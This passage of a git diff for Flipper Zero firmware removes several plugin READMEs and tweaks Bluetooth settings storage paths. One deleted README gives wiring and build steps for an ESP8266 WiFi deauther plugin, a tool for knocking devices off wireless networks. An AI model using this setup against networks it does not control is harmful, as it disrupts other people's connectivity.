app!](https://github.com/kyhwana/flipper-zero-hex-viewer/blob/master/textviewerflipper.PNG?raw=true) - -[Link to FAP](https://github.com/kyhwana/latest_flipper_zero_apps/raw/main/text_viewer.fap) diff --git a/applications/plugins/text_viewer/textviewerflipper.PNG b/applications/plugins/text_viewer/textviewerflipper.PNG deleted file mode 100644 index d357b7455..000000000 Binary files a/applications/plugins/text_viewer/textviewerflipper.PNG and /dev/null differ diff --git a/applications/plugins/timelapse/README.md b/applications/plugins/timelapse/README.md deleted file mode 100644 index b10955ea1..000000000 --- a/applications/plugins/timelapse/README.md +++ /dev/null @@ -1,78 +0,0 @@ - -# zeitraffer - -[![Build FAP](https://github.com/theageoflove/flipperzero-zeitraffer/actions/workflows/build.yml/badge.svg?branch=main)](https://github.com/theageoflove/flipperzero-zeitraffer/actions/workflows/build.yml) - -english version [below](#eng) - - -Blog: [theageoflove.ru](https://theageoflove.ru) - -TG: [t.me/scuko_bled](https://t.me/scuko_bled) - - -![zeitraffer for flipper zero](https://theageoflove.ru/uploads/2022/11/photo_2022-11-10_15-54-25.jpg) -Π’ΠΈΠ΄Π΅ΠΎ Ρ€Π°Π±ΠΎΡ‚Ρ‹: https://youtu.be/VPSpRLJXYAc - -Π“ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ Ρ„Π°ΠΏ ΠΏΠΎΠ΄ послСднюю Ρ€Π΅Π»ΠΈΠ·Π½ΡƒΡŽ ΠΏΡ€ΠΎΡˆΠΈΠ²ΠΊΡƒ [ΠΌΠΎΠΆΠ½ΠΎ ΡΠΊΠ°Ρ‡Π°Ρ‚ΡŒ здСсь](https://nightly.link/theageoflove/flipperzero-zeitraffer/workflows/build/main/zeitraffer.fap.zip). - -Π― нСнастоящий сварщик, Π½Π΅ ΠΎΠ±Π΅ΡΡΡƒΠ΄ΡŒΡ‚Π΅. Π”Π΅Π»Π°Π» для своСй Sony DSLR A100, ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Π»ΡŽΠ±Ρ‹Ρ… ΠΊΠ°ΠΌΠ΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π½ΠΎΠΉ ΠΏΡƒΠ»ΡŒΡ‚ с трСмя ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π°ΠΌΠΈ. - -Основано Π½Π° Ρ…Π΅Π»Π»ΠΎΠ²ΠΎΡ€Π»Π΄Π΅ https://github.com/zmactep/flipperzero-hello-world - -### Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅: - - - **Π²Π²Π΅Ρ€Ρ…-Π²Π½ΠΈΠ·** - врСмя. - - **Π²Π»Π΅Π²ΠΎ-Π²ΠΏΡ€Π°Π²ΠΎ** - количСство ΠΊΠ°Π΄Ρ€ΠΎΠ² - - 0 ΠΊΠ°Π΄Ρ€ΠΎΠ² - бСсконСчный Ρ€Π΅ΠΆΠΈΠΌ, -1 ΠΊΠ°Π΄Ρ€ΠΎΠ² - BULB - - **Π·Π°ΠΆΠ°Ρ‚ΠΈΠ΅ стрСлок** - Β±10 ΠΊΠ°Π΄Ρ€ΠΎΠ²/сСкунд - - **ОК** - пуск/ΠΏΠ°ΡƒΠ·Π° - - Π”Π»ΠΈΠ½Π½ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ **ОК** - Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ/Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ подсвСтку - - **Π½Π°Π·Π°Π΄** - сброс - - Π΄Π»ΠΈΠ½Π½ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ **Π½Π°Π·Π°Π΄** - Π²Ρ‹Ρ…ΠΎΠ΄ - -ΠŸΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰Π΅ΠΌ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π΅ Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‚ΡΡ всС ΠΊΠ½ΠΎΠΏΠΊΠΈ ΠΊΡ€ΠΎΠΌΠ΅ ОК. - -ΠŸΡ€ΠΈ запускС даётся Ρ‚Ρ€ΠΈ сСкунды Π½Π° ΠΎΡ‚ΡΠΊΠΎΡ‡ΠΈΡ‚ΡŒ. - -## Π§ΠΎ Π½Π°Π΄ΠΎ - - Π΄Π²Π΅ ΠΎΠΏΡ‚ΠΎΠΏΠ°Ρ€Ρ‹ Ρ‚ΠΈΠΏΠ° EL817C - - кусок Π³Ρ€Π΅Π±Ρ‘Π½ΠΊΠΈ Π½Π° Ρ‚Ρ€ΠΈ ΠΏΠΈΠ½Π° - - Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²ΠΎΠ΄Π° - - тСрмоусадка - - Ρ€Π°Π·ΡŠΡ‘ΠΌ ΠΏΡƒΠ»ΡŒΡ‚Π° ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹. Π“Π΄Π΅ Π²Π·ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ· Ρ‡Π΅Π³ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - Π΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ - -## Как ΡΠΎΠ±Ρ€Π°Ρ‚ΡŒ -Π‘Π΅Ρ€Ρ‘ΠΌ ΠΎΠΏΡ‚ΠΎΠΏΠ°Ρ€Ρ‹, соСдиняСм ΠΏΠΎ схСмС. -![](https://theageoflove.ru/uploads/2022/11/camera_cable.jpg) -Π“Π΄Π΅ ΠΊΠ°ΠΊΠΎΠΉ ΠΏΠΈΠ½ Ρƒ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹, ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΡƒΡ‚: https://www.doc-diy.net/photo/remote_pinout/ - -# English -Simple timelapse app for Flipper Zero. - -[Get latest release](https://nightly.link/theageoflove/flipperzero-zeitraffer/workflows/build/main/zeitraffer.fap.zip) - -based on https://github.com/zmactep/flipperzero-hello-world - -### Control: - - Up and down - time. - - Left and right - number of frames - - Long press arrows - Β±10 frames/seconds - - OK - start/pause - - Long press OK - turn on/off the backlight - - Back - reset - - Long press back - exit - -When the timer is running, all buttons are blocked except OK. - -## What you need: - - two EL817C optocouplers - - pin header connector 1x3 2,54mm male - - some wire - - heat shrink - - camera remote connector -## How to assemble -Take optocouplers, connect according to the scheme. -![](https://theageoflove.ru/uploads/2022/11/camera_cable_en.jpg) -Camera pinout can be found here: https://www.doc-diy.net/photo/remote_pinout/ diff --git a/applications/plugins/totp/images/DolphinCommon_56x48.png b/applications/plugins/totp/images/DolphinCommon_56x48.png deleted file mode 100644 index 089aaed83..000000000 Binary files a/applications/plugins/totp/images/DolphinCommon_56x48.png and /dev/null differ diff --git a/applications/plugins/totp/workers/type_code/type_code.h b/applications/plugins/totp/workers/type_code/type_code.h deleted file mode 100644 index 27f2e02d4..000000000 --- a/applications/plugins/totp/workers/type_code/type_code.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -#include -#include -#include - -typedef uint8_t TotpTypeCodeWorkerEvent; - -typedef struct { - char* string; - uint8_t string_length; - FuriThread* thread; - FuriMutex* string_sync; - FuriHalUsbInterface* usb_mode_prev; -} TotpTypeCodeWorkerContext; - -enum TotpTypeCodeWorkerEvents { - TotpTypeCodeWorkerEventReserved = (1 << 0), - TotpTypeCodeWorkerEventStop = (1 << 1), - TotpTypeCodeWorkerEventType = (1 << 2) -}; - -TotpTypeCodeWorkerContext* totp_type_code_worker_start(); -void totp_type_code_worker_stop(TotpTypeCodeWorkerContext* context); -void totp_type_code_worker_notify( - TotpTypeCodeWorkerContext* context, - TotpTypeCodeWorkerEvent event); \ No newline at end of file diff --git a/applications/plugins/tuning_fork/README.md b/applications/plugins/tuning_fork/README.md deleted file mode 100644 index 5524eba3e..000000000 --- a/applications/plugins/tuning_fork/README.md +++ /dev/null @@ -1,30 +0,0 @@ -# Tuning Fork - -Inspired by [Metronome](https://github.com/panki27/Metronome) - -A tuning fork for the [Flipper Zero](https://flipperzero.one/) device. -Allows to play different notes in different pitches. - -![screenshot](img/tuning_fork.gif) - -## Features -- Tuning forks (440Hz, 432Hz, etc.) -- Scientific pitch (..., 256Hz, 512Hz, 1024Hz, ...) -- Guitar Standard (6 strings) -- Guitar Drop D (6 strings) -- Guitar D (6 strings) -- Guitar Drop C (6 strings) -- Guitar Standard (7 strings) -- Bass Standard (4 strings) -- Bass Standard Tenor (4 strings) -- Bass Standard (5 strings) -- Bass Standard Tenor (5 strings) -- Bass Drop D (4 strings) -- Bass D (4 strings) -- Bass Drop A (5 strings) - -## Compiling - -``` -./fbt firmware_tuning_fork -``` diff --git a/applications/plugins/tuning_fork/img/screenshot_1.png b/applications/plugins/tuning_fork/img/screenshot_1.png deleted file mode 100644 index 047279889..000000000 Binary files a/applications/plugins/tuning_fork/img/screenshot_1.png and /dev/null differ diff --git a/applications/plugins/tuning_fork/img/screenshot_2.png b/applications/plugins/tuning_fork/img/screenshot_2.png deleted file mode 100644 index c31f37744..000000000 Binary files a/applications/plugins/tuning_fork/img/screenshot_2.png and /dev/null differ diff --git a/applications/plugins/tuning_fork/img/tuning_fork.gif b/applications/plugins/tuning_fork/img/tuning_fork.gif deleted file mode 100644 index 27bfe8cbe..000000000 Binary files a/applications/plugins/tuning_fork/img/tuning_fork.gif and /dev/null differ diff --git a/applications/plugins/uart_terminal/README.md b/applications/plugins/uart_terminal/README.md deleted file mode 100644 index 7e2cfd212..000000000 --- a/applications/plugins/uart_terminal/README.md +++ /dev/null @@ -1,45 +0,0 @@ -# UART Terminal for Flipper Zero -[Flipper Zero](https://flipperzero.one/) app to control various devices via UART interface. - -## Capabilities -- Read log and command output by uart -- Send commands by uart -- Set baud rate -- Fast commands - -## Connecting -| Flipper Zero pin | UART interface | -| ---------------- | --------------- | -| 13 TX | RX | -| 14 RX | TX | -|8, 18 GND | GND | - -Info: If possible, do not power your devices from 3V3 (pin 9) Flipper Zero. It does not support hot plugging. - -## Keyboard -UART_terminal uses its own special keyboard for work, which has all the symbols necessary for working in the console. - -To accommodate more characters on a small display, some characters are called up by holding. - -![kbf](https://user-images.githubusercontent.com/122148894/212286637-7063f1ee-c6ff-46b9-8dc5-79a5f367fab1.png) - - -## How to install -Copy the contents of the repository to the applications_user/uart_terminal folder Flipper Zero firmware and build app with the command ./fbt fap_uart_terminal. - -Or use the tool [uFBT](https://github.com/flipperdevices/flipperzero-ufbt) for building applications for Flipper Zero. - -## How it works - - -![1f](https://user-images.githubusercontent.com/122148894/211161450-6d177638-3bfa-42a8-9c73-0cf3af5e5ca7.jpg) - - -![2f](https://user-images.githubusercontent.com/122148894/211161456-4d2be15b-4a05-4450-a62e-edcaab3772fd.jpg) - - -![4f](https://user-images.githubusercontent.com/122148894/211161461-4507120b-42df-441f-9e01-e4517aa83537.jpg) - -## INFO: - -~70% of the source code is taken from the [Wifi Marauder](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) project. Many thanks to the developers of the Wifi Marauder project. diff --git a/applications/plugins/unitemp/README.md b/applications/plugins/unitemp/README.md deleted file mode 100644 index 2da78d2bd..000000000 --- a/applications/plugins/unitemp/README.md +++ /dev/null @@ -1,24 +0,0 @@ -![Flipper usage](https://user-images.githubusercontent.com/10090793/211182642-e41919c5-3091-4125-815a-2d6a77a859f6.png) -# Unitemp - Universal temperature sensor reader -[![GitHub release](https://img.shields.io/github/release/quen0n/unitemp-flipperzero?include_prereleases=&sort=semver&color=blue)](https://github.com/quen0n/unitemp-flipperzero/releases/) -[![GitHub](https://img.shields.io/github/license/quen0n/unitemp-flipperzero)](https://github.com/quen0n/unitemp-flipperzero/blob/dev/LICENSE.md) -[![Build dev](https://github.com/quen0n/unitemp-flipperzero/actions/workflows/build_dev.yml/badge.svg?branch=dev)](https://github.com/quen0n/unitemp-flipperzero/actions/workflows/build_dev.yml) -[Flipper Zero](https://flipperzero.one/) application for reading temperature, humidity and pressure sensors like a DHT11/22, DS18B20, BMP280, HTU21 and more. -## List of supported sensors -![image](https://user-images.githubusercontent.com/10090793/215605424-54b1c08c-e41b-4fb4-b966-dd959507200b.png) - -## Installation -1) Download [latest version](https://cloud.quenon.ru/index.php/s/h98rT9UnaOL4wxR/download?path=%2F&files=unitemp-latest.fap) -2) Copy `unitemp-latest.fap` to `SD card/apps/GPIO` with qFlipper or mobile application -3) Open application on your Flipper: `Applications->GPIO->Temp sensors reader` -Note: If you get the message "API version mismatch" after updating the firmware, download and install Unitemp again -## Need help? Discussions? -Join the discussion, ask a question or just send a photo of the flipper with sensors to [Discord](https://discord.com/channels/740930220399525928/1056727938747351060). [Invite link](https://discord.com/invite/flipper) -## Gratitudes -Thanks to [@Svaarich](https://github.com/Svaarich) for the UI design and to the Unleashed firmware community for sensors testing and feedbacks. - -## Some community photos -![image](https://user-images.githubusercontent.com/10090793/210120132-7ddbc937-0a6b-4472-bd1c-7fbc3ecdf2ad.png) -![image](https://user-images.githubusercontent.com/10090793/210120135-12fc5810-77ff-49db-b799-e9479e1f57a7.png) -![image](https://user-images.githubusercontent.com/10090793/210120143-a2bae3ce-4190-421f-8c4f-c7c744903bd6.png) -![image](https://user-images.githubusercontent.com/10090793/215224085-8099408e-b3de-4a0c-854e-fe4e4faa8ea3.png) diff --git a/applications/plugins/unitemp/assets/README.MD b/applications/plugins/unitemp/assets/README.MD deleted file mode 100644 index 7c359a052..000000000 --- a/applications/plugins/unitemp/assets/README.MD +++ /dev/null @@ -1,3 +0,0 @@ -# Unitemp assets - -Created by [@Svaarich](https://github.com/Svaarich) diff --git a/applications/plugins/usb_hid_autofire/.gitignore b/applications/plugins/usb_hid_autofire/.gitignore deleted file mode 100644 index e4e5f6c8b..000000000 --- a/applications/plugins/usb_hid_autofire/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*~ \ No newline at end of file diff --git a/applications/plugins/usb_hid_autofire/README.md b/applications/plugins/usb_hid_autofire/README.md deleted file mode 100644 index b2cbd7606..000000000 --- a/applications/plugins/usb_hid_autofire/README.md +++ /dev/null @@ -1,32 +0,0 @@ -# USB HID Autofire - -[GitHub](https://github.com/pbek/usb_hid_autofire) | -[Latest release](https://github.com/pbek/usb_hid_autofire/releases/latest) | -[Changelog](CHANGELOG.md) | -[License](LICENSE.md) - -[![Build](https://github.com/pbek/usb_hid_autofire/actions/workflows/build-test.yml/badge.svg)](https://github.com/pbek/usb_hid_autofire/actions/workflows/build-test.yml) - -This is a simple Flipper Zero application to send left-clicks as a USB HID device. - -![Screenshot](screenshot.png) - -## Installation - -Download the [latest release](https://github.com/pbek/usb_hid_autofire/releases/latest) -of the *fap* file and put it into the `apps` folder on your SD card of your Flipper Zero. - -## Building - -```shell -cd applications_user -git clone https://github.com/pbek/usb_hid_autofire.git - -cd .. - -# Build the application -./fbt fap_usb_hid_autofire - -# Build and launch the application -./fbt launch_app APPSRC=usb_hid_autofire -``` diff --git a/applications/plugins/usb_hid_autofire/screenshot.png b/applications/plugins/usb_hid_autofire/screenshot.png deleted file mode 100644 index b5547e1ba..000000000 Binary files a/applications/plugins/usb_hid_autofire/screenshot.png and /dev/null differ diff --git a/applications/plugins/wav_player/README.md b/applications/plugins/wav_player/README.md deleted file mode 100644 index ef87e1e77..000000000 --- a/applications/plugins/wav_player/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# WAV player - A Flipper Zero application for playing wav files. My fork adds support for correct playback speed (for files with different sample rates) and for mono files (original wav player only plays stereo). You still need to convert your file to unsigned 8-bit PCM format for it to played correctly on flipper. - -Original app by https://github.com/DrZlo13. diff --git a/applications/plugins/wifi_deauther/README.md b/applications/plugins/wifi_deauther/README.md deleted file mode 100644 index 87a419f90..000000000 --- a/applications/plugins/wifi_deauther/README.md +++ /dev/null @@ -1,50 +0,0 @@ -# flipperzero_esp8266_deautherv2 -Flipper Zero esp8266 deauther app. - - -Based off the WiFi Marauder App from 0xchocolate. - -https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion - -https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/unleashed/applications/wifi_marauder_companion - -uses the Version 2 of the ESP8266 Deauther code. -https://github.com/SpacehuhnTech/esp8266_deauther/tree/v2/esp8266_deauther - -This is done so you can use the original deauther v2 firmware on the esp8266. -you can just flash the latest binary. - -also a shout out to https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module -This is already in the Roguemaster firmware and just needs to be enabled and compiled. unfortunatly I could not get this past the menu when I compiled his deauther source for the nodemcu. Nice menu though. - -I used a nodeMCU board. Wiring is simple. follow the wiring guide on https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module -On mine I connected one G to ground, VIN to 5V, RX to U_TX, TX to U_RX. - -NodeMCU---FlipperZero - -G---------GND - -VIN-------5V - -RX--------U_TX - -TX--------U_RX - - - -Video in action. -https://youtu.be/_RFzZyPkeR0 - -If you want to disable the built in WiFi access and web interface (only use flipper to serial send commands) then select "set webinterface false", "save settings" and "reboot". When it starts back up you wont see the pwned AP any more. - -I installed this into Roguemaster to test. - -git clone --recursive https://github.com/RogueMaster/flipperzero-firmware-wPlugins.git -cd flipperzero-firmware-wPlugins/ - -copy folder into applications. -add "APPS_wifi_deauther", to the meta/application.fam file. - -compile -./fbt resources icons -./fbt updater_package diff --git a/applications/plugins/wii_ec_anal/_images/CLASSIC.png b/applications/plugins/wii_ec_anal/_images/CLASSIC.png deleted file mode 100644 index aa5318b33..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/CLASSIC.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/CLASSIC_N.png b/applications/plugins/wii_ec_anal/_images/CLASSIC_N.png deleted file mode 100644 index 24f4ac225..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/CLASSIC_N.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/DEBUG.png b/applications/plugins/wii_ec_anal/_images/DEBUG.png deleted file mode 100644 index bca35c693..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/DEBUG.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/DUMP.png b/applications/plugins/wii_ec_anal/_images/DUMP.png deleted file mode 100644 index dc9328aab..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/DUMP.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf deleted file mode 100644 index 67f70139e..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/Nunchuck_acc.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/RIP.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/RIP.xcf deleted file mode 100644 index 0058fe9c8..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/RIP.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/Wiring.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/Wiring.xcf deleted file mode 100644 index aa8078db8..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/Wiring.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/classic.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/classic.xcf deleted file mode 100644 index 6fd152675..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/classic.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/csLogo.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/csLogo.xcf deleted file mode 100644 index f4e33844a..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/csLogo.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/fonts.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/fonts.xcf deleted file mode 100644 index d05d03fc7..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/fonts.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/frame.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/frame.xcf deleted file mode 100644 index 31705cf72..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/frame.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/port.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/port.xcf deleted file mode 100644 index 10fcd2de2..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/port.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/GIMP/social.xcf b/applications/plugins/wii_ec_anal/_images/GIMP/social.xcf deleted file mode 100644 index 377eaa63b..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/GIMP/social.xcf and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK.png b/applications/plugins/wii_ec_anal/_images/NUNCHUCK.png deleted file mode 100644 index bc31ae386..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/NUNCHUCK.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_acc.png b/applications/plugins/wii_ec_anal/_images/NUNCHUCK_acc.png deleted file mode 100644 index 895c85e4c..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_acc.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_anal.png b/applications/plugins/wii_ec_anal/_images/NUNCHUCK_anal.png deleted file mode 100644 index e821d7ee2..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_anal.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.gif b/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.gif deleted file mode 100644 index 72d807a54..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.gif and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.png b/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.png deleted file mode 100644 index f9d34bb93..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/NUNCHUCK_cal.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/Nunchucky.png b/applications/plugins/wii_ec_anal/_images/Nunchucky.png deleted file mode 100644 index 3af395da6..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/Nunchucky.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/RIP.png b/applications/plugins/wii_ec_anal/_images/RIP.png deleted file mode 100644 index 0acfe0c00..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/RIP.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/SPLASH.png b/applications/plugins/wii_ec_anal/_images/SPLASH.png deleted file mode 100644 index a5c3f093a..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/SPLASH.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/WAIT.png b/applications/plugins/wii_ec_anal/_images/WAIT.png deleted file mode 100644 index 776edc3f1..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/WAIT.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/WiiChuck.png b/applications/plugins/wii_ec_anal/_images/WiiChuck.png deleted file mode 100644 index 532ce3096..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/WiiChuck.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/Wiring.png b/applications/plugins/wii_ec_anal/_images/Wiring.png deleted file mode 100644 index 300c07ee4..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/Wiring.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/plug.png b/applications/plugins/wii_ec_anal/_images/plug.png deleted file mode 100644 index c418f43b1..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/plug.png and /dev/null differ diff --git a/applications/plugins/wii_ec_anal/_images/social.png b/applications/plugins/wii_ec_anal/_images/social.png deleted file mode 100644 index 1d3eddcc5..000000000 Binary files a/applications/plugins/wii_ec_anal/_images/social.png and /dev/null differ diff --git a/applications/plugins/yatzee/README.md b/applications/plugins/yatzee/README.md deleted file mode 100644 index 25351ef49..000000000 --- a/applications/plugins/yatzee/README.md +++ /dev/null @@ -1,48 +0,0 @@ -# flipperzero-yatzee -Yahtzee game for flipperzero - -Its not beautiful, but it works and now I can play Yahtzee on my flipper while I shit at work. - -Installation: - -Download fap from releases. Copy fap to flipper sd at ext > apps > Games - - -Controls: - -- Up to Roll -- Left/Right to move cursor -- OK to Hold a die -- Moving cursor past the dice will move the cursor up to the scorecard. Moving the scores cursor will show you the potential score you would get. - - -Rules & Scoring: - -- Between rolls, move the cursor and use the OK button to select which dice you will hold for the next roll -- 3 rolls per round and then you are forced to select a score. -- To score, move cursor with Left/Right up to the scorecard, when desired score to count is underlined, press the Down button to confirm. - -- 1-6 add up the corresponding dice of that number in your roll. -- 3 of a Kind (3k) = total of dice when 3 of a kind is rolled -- 4 of a Kind (4k) = total of dice when 4 of a kind is rolled -- Full House (Fh) = 25 -- Small Straight (Sm) = 30 -- Large Straight (Lg) = 40 -- Chance (Ch) = total of all dice in roll -- Yatzee (Yz) = 50 for the first yatzee. Successive Yatzees do not show in the score card, but add 100 each to the total score -- Game ends when every scoring value has been selected once. -- If sub score is at least 63, 35 points are added to the total score. - -Todo -- Redo the scorecard now that I understand a little better how this works - - Would like to make it a grid with 4 rows, and 4 columns - - Rows 0 and 2 will have the scores 'names' - - Rows 1 and 3 will be empty until filled by a score. - - Column 3 will span all rows and show each bonus yatzee as an icon like a star or something. - - Once grided score card is implemented, identify a better mechanism to show that a score has already been counted- instead of the '.' that shows up now. - - Maybe invert the grid color to show which score is being selected by the cursor. -- If upper score >= 63, add a pop-up message at the end game to give a visual indication that a bonus for the top row is being. -- Redo button mapping so that - - the middle button can be used to both hold on dice or confirm score. Leaves the down arrow open for something else. - - Would be nice if up/down could be used to move through the scorecard and left/right move through the dice, but then theres not enough buttons for ROLL so idk yet. -- Learn more about C so that I can move stuff to a header file like everyone else does. diff --git a/applications/services/application.fam b/applications/services/application.fam index 6c41160db..62aec990d 100644 --- a/applications/services/application.fam +++ b/applications/services/application.fam @@ -10,6 +10,7 @@ App( "desktop", "loader", "power", + "rgb_backlight", "namechangersrv", ], ) diff --git a/applications/services/applications.h b/applications/services/applications.h index 871e9af54..85f736742 100644 --- a/applications/services/applications.h +++ b/applications/services/applications.h @@ -39,18 +39,6 @@ extern const size_t FLIPPER_APPS_COUNT; extern const FlipperOnStartHook FLIPPER_ON_SYSTEM_START[]; extern const size_t FLIPPER_ON_SYSTEM_START_COUNT; -/* Plugins list - * Spawned by loader - */ -extern const FlipperApplication FLIPPER_PLUGINS[]; -extern const size_t FLIPPER_PLUGINS_COUNT; - -/* Debug menu apps - * Spawned by loader - */ -extern const FlipperApplication FLIPPER_DEBUG_APPS[]; -extern const size_t FLIPPER_DEBUG_APPS_COUNT; - /* System apps * Can only be spawned by loader by name */ diff --git a/applications/services/bt/bt_service/bt.c b/applications/services/bt/bt_service/bt.c index 31a43f637..e5f561ec6 100644 --- a/applications/services/bt/bt_service/bt.c +++ b/applications/services/bt/bt_service/bt.c @@ -126,6 +126,10 @@ Bt* bt_alloc() { bt_settings_save(&bt->bt_settings); } // Keys storage + Storage* storage = furi_record_open(RECORD_STORAGE); + storage_common_copy(storage, BT_KEYS_STORAGE_OLD_PATH, BT_KEYS_STORAGE_PATH); + storage_common_remove(storage, BT_KEYS_STORAGE_OLD_PATH); + furi_record_close(RECORD_STORAGE); bt->keys_storage = bt_keys_storage_alloc(BT_KEYS_STORAGE_PATH); // Alloc queue bt->message_queue = furi_message_queue_alloc(8, sizeof(BtMessage)); diff --git a/applications/services/bt/bt_service/bt_i.h b/applications/services/bt/bt_service/bt_i.h index 41e5bcd8c..dc36ea40b 100644 --- a/applications/services/bt/bt_service/bt_i.h +++ b/applications/services/bt/bt_service/bt_i.h @@ -18,9 +18,8 @@ #include #include -#include "bt_keys_filename.h" - -#define BT_KEYS_STORAGE_PATH INT_PATH(BT_KEYS_STORAGE_FILE_NAME) +#define BT_KEYS_STORAGE_OLD_PATH INT_PATH(".bt.keys") +#define BT_KEYS_STORAGE_PATH CFG_PATH("bt.keys") #define BT_API_UNLOCK_EVENT (1UL << 0) diff --git a/applications/services/bt/bt_service/bt_keys_filename.h b/applications/services/bt/bt_service/bt_keys_filename.h deleted file mode 100644 index da1d3f54e..000000000 --- a/applications/services/bt/bt_service/bt_keys_filename.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -#define BT_KEYS_STORAGE_FILE_NAME ".bt.keys" diff --git a/applications/services/bt/bt_settings.c b/applications/services/bt/bt_settings.c index 1eaf6c7d7..92e6c7d5d 100644 --- a/applications/services/bt/bt_settings.c +++ b/applications/services/bt/bt_settings.c @@ -4,15 +4,31 @@ #include #include -#define BT_SETTINGS_PATH INT_PATH(BT_SETTINGS_FILE_NAME) +#define BT_SETTINGS_OLD_PATH INT_PATH(".bt.settings") +#define BT_SETTINGS_PATH CFG_PATH("bt.settings") #define BT_SETTINGS_VERSION (0) #define BT_SETTINGS_MAGIC (0x19) bool bt_settings_load(BtSettings* bt_settings) { furi_assert(bt_settings); - return saved_struct_load( + bool ret = saved_struct_load( BT_SETTINGS_PATH, bt_settings, sizeof(BtSettings), 